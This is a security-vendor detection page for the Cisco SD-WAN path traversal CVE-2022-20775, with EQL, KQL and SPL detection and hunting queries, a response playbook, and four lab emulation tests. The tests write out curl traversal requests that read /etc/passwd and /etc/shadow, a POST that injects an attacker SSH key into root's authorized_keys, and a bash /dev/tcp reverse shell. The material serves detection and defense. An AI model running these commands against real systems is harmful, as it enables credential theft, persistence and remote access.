CVE-2022-20775 Elastic Security · Elastic

Detect CVE-2022-20775 — Cisco SD-WAN Path Traversal Exploitation Attempt in Elastic Security

Detects exploitation attempts targeting CVE-2022-20775, a path traversal vulnerability (CWE-25, CWE-282) in Cisco SD-WAN software. Successful exploitation may allow an authenticated attacker to read or write arbitrary files on the underlying operating system, potentially leading to privilege escalation or persistent access. This CVE is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Defense Evasion

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=5m
  [network where
    event.type == "connection" and
    (url.path : ("*../*", "*%2e%2e%2f*", "*%252e%252e*", "*..%2f*") and
     url.path : ("*/dataservice/*", "*/template/*", "*/device/*"))
  ] by source.ip
  [process where
    event.type == "start" and
    process.parent.name : ("vdaemon", "vmanage", "vbond", "vsmart") and
    process.name : ("sh", "bash", "python*", "curl", "wget", "nc")
  ] by host.ip
critical severity high confidence

Correlates inbound path traversal requests to SD-WAN management APIs with subsequent suspicious process spawning from SD-WAN parent processes on the same host within a 5-minute window.

Data Sources

Elastic Endpoint SecurityNetwork Packet CaptureSyslog

Required Tables

logs-endpoint.events.network-*logs-endpoint.events.process-*

False Positives & Tuning

  • Automated provisioning systems that send encoded API requests followed by expected shell-based post-configuration tasks
  • Security orchestration tools that test SD-WAN endpoints and trigger diagnostic scripts
  • Legitimate SD-WAN HA failover processes that spawn shell commands after receiving network signals

Other platforms for CVE-2022-20775

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Cisco SD-WAN vManage Path Traversal File Read via API

    Expected signal: HTTP request log entry with traversal sequence in URI; if successful, HTTP 200 response with /etc/passwd content; file access audit event for /etc/passwd by vManage process

  2. Test 2Cisco SD-WAN Percent-Encoded Path Traversal Bypass

    Expected signal: HTTP access log entry with double-encoded sequence; IDS/WAF alert if deployed; server-side decode of %25 sequences visible in application logs

  3. Test 3SD-WAN Post-Exploitation SSH Key Injection via Traversal Write

    Expected signal: HTTP POST to path traversal URI; file modification event on /root/.ssh/authorized_keys; audit log entry showing vManage process writing to /root/.ssh/

  4. Test 4Simulate SD-WAN Daemon Spawning Reverse Shell

    Expected signal: Process creation event: parent=vmanage, child=bash with -i flag and TCP redirect in command line; network connection from bash process to 127.0.0.1:4444; EDR alert on shell spawned by non-interactive parent

Last updated: 2026-06-19 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm the targeted device is a Cisco SD-WAN component (vManage, vBond, vSmart, or vEdge) by correlating the destination IP/hostname with your network asset inventory.
  2. Examine the full HTTP request URI to determine which file or directory path was targeted by the traversal; assess sensitivity of the target path (e.g., /etc/shadow, SSH keys, SD-WAN configuration files).
  3. Check whether the request was authenticated: review session tokens or API credentials associated with the request to determine if an insider threat or compromised credential is involved.
  4. Review SD-WAN system logs (vManage audit logs, syslog) for any POST requests or commands that followed the traversal, indicating successful exploitation rather than a failed attempt.
  5. Cross-reference the source IP against threat intelligence feeds and your organization's known-good IP ranges to determine if this is an external threat actor or internal testing.

Containment

  1. Immediately block the source IP at the perimeter firewall and SD-WAN edge policy to prevent further requests while investigation proceeds.
  2. If exploitation is confirmed, isolate the affected SD-WAN node from the management plane (take vManage offline or restrict management access to a safe jump host) to prevent lateral movement through the SD-WAN fabric.
  3. Rotate all credentials and API tokens associated with the SD-WAN management plane, including vManage administrator accounts and any service accounts with API access.
  4. Apply available Cisco patches or mitigations per Cisco advisory cisco-sa-sd-wan-priv-E6e8tEdF and the CISA ED-26-03 directive requirements.

Evidence Collection

  1. Collect and preserve vManage access logs, audit logs, and system logs from the affected appliance before any remediation that could overwrite them; archive to a write-once evidence store.
  2. Capture a memory dump and disk image of the vManage server if persistent access (webshell, cron, SSH key modification) is suspected, to support forensic analysis of attacker persistence mechanisms.
  3. Export NetFlow or packet capture data for the source IP across the exploitation timeframe to reconstruct the full attack sequence and identify any data exfiltrated.

Escalation Criteria

  • !Escalate to CISO and incident response leadership if there is evidence that the attacker successfully read /etc/shadow, SSH private keys, or SD-WAN private configurations, as these enable further compromise of the entire SD-WAN fabric.
  • !Escalate immediately if the affected organization is under the scope of CISA Emergency Directive ED-26-03, as mandatory reporting and remediation timelines apply to federal agencies.
  • !Escalate to Cisco TAC and consider threat sharing with CISA if exploitation is confirmed and indicators suggest a sophisticated or nation-state actor targeting network infrastructure.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >vManage HTTP access logs containing URL-encoded path traversal sequences (../, %2e%2e%2f, %252e%252e) in /dataservice/, /template/, or /device/ API endpoints
  • >Linux audit log entries (auditd) showing file open/read syscalls on /etc/passwd, /etc/shadow, or /root/.ssh/authorized_keys by vManage or vdaemon processes
  • >Shell history files (.bash_history) for vmanage or root users showing post-exploitation reconnaissance commands executed after traversal
  • >Cron modifications or new systemd unit files indicating attacker persistence established after successful exploitation
  • >Modified /root/.ssh/authorized_keys or new local user accounts added to the SD-WAN appliance

Tuning Guidance

Reduce false positives by building an allowlist of known management automation source IPs (Ansible control nodes, Cisco DNA Center) that legitimately interact with vManage APIs. Tune the URI pattern matching to exclude base64 or standard percent-encoding used by your orchestration platform. If SD-WAN upgrade jobs spawn expected shell processes, capture the specific parent-child process pairs during a maintenance window and add them to an exclusion list keyed by time-of-day and initiating user. For environments with high API call volume, consider raising the threshold to require both the URI traversal pattern AND a subsequent file access or process spawn event before alerting.

Hunting Queries

Retrospective 30-day hunt for any path traversal attempts against Cisco SD-WAN management API endpoints, aggregated by source IP to identify scanning or targeted exploitation campaigns that may have predated the detection rule deployment.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where RemoteUrl has_any ('../', '%2e%2e%2f', '%252e%252e', '..%2f')
| where RemoteUrl has_any ('/dataservice/', '/template/', '/device/', '/vmanage')
| summarize Attempts = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by RemoteIP, DeviceName, RemoteUrl
| where Attempts >= 1
| order by Attempts desc
Hunting — SPL
spl 
index=network OR index=cisco_sdwan earliest=-30d
| regex uri_path="(\.\./|%2e%2e%2f|%252e%252e|\.\.%2f)"
| regex uri_path="(/dataservice/|/template/|/device/|/vmanage)"
| stats count AS attempts, earliest(_time) AS first_seen, latest(_time) AS last_seen BY src_ip, dest_ip, uri_path
| sort -attempts

Threat hunt for historical instances of SD-WAN daemon processes spawning shell commands or utility binaries, which may indicate prior exploitation of CVE-2022-20775 or related privilege escalation vulnerabilities that established persistence.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ('vdaemon', 'vmanage', 'vbond', 'vsmart')
| where FileName in~ ('sh', 'bash', 'python', 'python3', 'curl', 'wget', 'nc', 'ncat', 'chmod', 'useradd')
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=linux_syslog earliest=-30d
| regex process="(vdaemon|vmanage|vbond|vsmart)"
| regex command="\b(bash|sh|python3?|curl|wget|nc|ncat|chmod|useradd)\b"
| table _time, host, process, command, user
| sort -_time

Atomic Red Team Tests

Test 1 Cisco SD-WAN vManage Path Traversal File Read via API
linux

Simulates an attacker sending a crafted HTTP GET request to the vManage REST API with a path traversal sequence to attempt reading /etc/passwd from the underlying OS. Lab environment only.

Command

bash 
curl -sk -X GET 'https://VMANAGE_IP:8443/dataservice/template/../../../../etc/passwd' -H 'Content-Type: application/json' -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' -o /tmp/traversal_output.txt && cat /tmp/traversal_output.txt

Cleanup

bash 
rm -f /tmp/traversal_output.txt

Expected Telemetry

HTTP request log entry with traversal sequence in URI; if successful, HTTP 200 response with /etc/passwd content; file access audit event for /etc/passwd by vManage process

Expected Detection

Alert on path traversal pattern in vManage API URI matched against /dataservice/ path prefix; network detection rule fires on encoded traversal sequence in HTTP request

Test 2 Cisco SD-WAN Percent-Encoded Path Traversal Bypass
linux

Tests double-encoded path traversal variant (%252e%252e%252f) against vManage to simulate WAF bypass techniques used by sophisticated attackers.

Command

bash 
curl -sk -X GET 'https://VMANAGE_IP:8443/dataservice/device/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fshadow' -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' -v 2>&1 | tee /tmp/encoded_traversal.log

Cleanup

bash 
rm -f /tmp/encoded_traversal.log

Expected Telemetry

HTTP access log entry with double-encoded sequence; IDS/WAF alert if deployed; server-side decode of %25 sequences visible in application logs

Expected Detection

Detection rule variant matching %252e%252e pattern in URL field fires; Elastic EQL or Chronicle YARA-L rule matches on regex pattern covering double encoding

Test 3 SD-WAN Post-Exploitation SSH Key Injection via Traversal Write
linux

Simulates post-exploitation attacker writing an SSH public key to /root/.ssh/authorized_keys via a path traversal write vulnerability on the vManage appliance to establish persistence. Lab only.

Command

bash 
ATTACKER_PUBKEY='ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@lab'
curl -sk -X POST 'https://VMANAGE_IP:8443/dataservice/template/../../../root/.ssh/authorized_keys' \
  -H 'Content-Type: text/plain' \
  -H 'Cookie: JSESSIONID=VALID_SESSION_TOKEN' \
  --data "$ATTACKER_PUBKEY"

Cleanup

bash 
ssh root@VMANAGE_IP 'sed -i "/attacker@lab/d" /root/.ssh/authorized_keys'

Expected Telemetry

HTTP POST to path traversal URI; file modification event on /root/.ssh/authorized_keys; audit log entry showing vManage process writing to /root/.ssh/

Expected Detection

File write alert on sensitive path /.ssh/authorized_keys initiated by vManage process; POST method detection rule variant fires; forensic artifact of new SSH key available for collection

Test 4 Simulate SD-WAN Daemon Spawning Reverse Shell
linux

Simulates the post-exploitation behavior of a compromised SD-WAN daemon spawning a bash reverse shell, representing the process execution chain expected after successful CVE-2022-20775 exploitation.

Command

bash 
# Run in a lab environment only — no real network connection
# Simulate vdaemon spawning bash as would occur post-exploitation
sudo -u vmanage bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &'
# In a separate terminal, listen: nc -lvnp 4444

Cleanup

bash 
kill $(pgrep -f 'bash -i.*4444') 2>/dev/null; true

Expected Telemetry

Process creation event: parent=vmanage, child=bash with -i flag and TCP redirect in command line; network connection from bash process to 127.0.0.1:4444; EDR alert on shell spawned by non-interactive parent

Expected Detection

KQL and SPL rules matching InitiatingProcessFileName=vmanage with FileName=bash fire; CrowdStrike CQL rule on ParentImageFileName=vmanage spawning bash triggers; SIEM alert on suspicious parent-child process relationship

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0005Defense Evasion

Related Techniques

T1190Exploit Public-Facing ApplicationT1548Abuse Elevation Control MechanismT1083File and Directory DiscoveryT1552.004Private Keys

Same Tactic: Initial Access

Popular Detections